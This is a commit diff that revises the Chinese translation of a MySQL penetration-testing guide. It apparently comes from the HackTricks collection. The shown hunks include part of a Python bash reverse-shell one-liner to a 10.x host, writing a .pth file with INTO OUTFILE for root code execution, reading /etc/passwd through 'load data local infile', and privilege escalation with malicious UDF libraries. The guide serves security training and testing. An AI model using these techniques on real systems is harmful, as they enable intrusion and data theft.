Translated ['src/network-services-pentesting/pentesting-mysql.md'] to zh

This commit is contained in:
Translator 2025-07-14 08:55:48 +00:00
parent 6dd9807293
commit 11c5ad7d50

View File

@ -1,10 +1,5 @@
# 3306 - Pentesting Mysql # 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **基本信息** ## **基本信息**
@ -132,9 +127,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
``` ```
重要的限制和绕过: 重要的限制和绕过:
* `INTO OUTFILE` **无法覆盖** 已存在的文件;选择一个新文件名。 * `INTO OUTFILE` **不能覆盖** 已存在的文件;选择一个新文件名。
* 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。 * 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。
* 如果攻击者输入使用 `%128s`(或类似)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/``/*!*/` 来替换空格。 * 如果攻击者输入通过 `%128s`(或类似方式)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/``/*!*/` 来替换空格。
* 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb服务以 **root** 身份运行,几乎在任何地方都可以写入。 * 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb服务以 **root** 身份运行,几乎在任何地方都可以写入。
在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行: 在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行:
@ -153,12 +148,12 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL 任意读取客户端文件 ## MySQL 任意读取客户端文件
实际上,当你尝试 **load data local into a table** 文件的 **内容**MySQL 或 MariaDB 服务器会要求 **客户端读取** 并发送内容。 **然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\ 实际上,当你尝试 **load data local into a table** 文件的 **内容**MySQL 或 MariaDB 服务器会要求 **客户端读取** 并发送内容。**然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
请注意,这是使用以下方式的行为: 请注意,这是使用的行为:
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
``` ```
(注意“local”这个词)\ 注意“local”这个词\
因为没有“local”你可能会得到 因为没有“local”你可能会得到
```bash ```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -190,7 +185,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
- **`password`** 用于建立与 MySQL 用户相关联的密码。 - **`password`** 用于建立与 MySQL 用户相关联的密码。
- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。 - **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
- **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。 - **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,这些字符串包含日志中的敏感数据。 - **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,日志中包含敏感数据。
- 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。 - 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。
### 权限提升 ### 权限提升
@ -213,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
``` ```
### 特权提升通过库 ### 特权提升通过库
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统**库** 如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库用于运行 mysql 的操作系统。
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。 可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。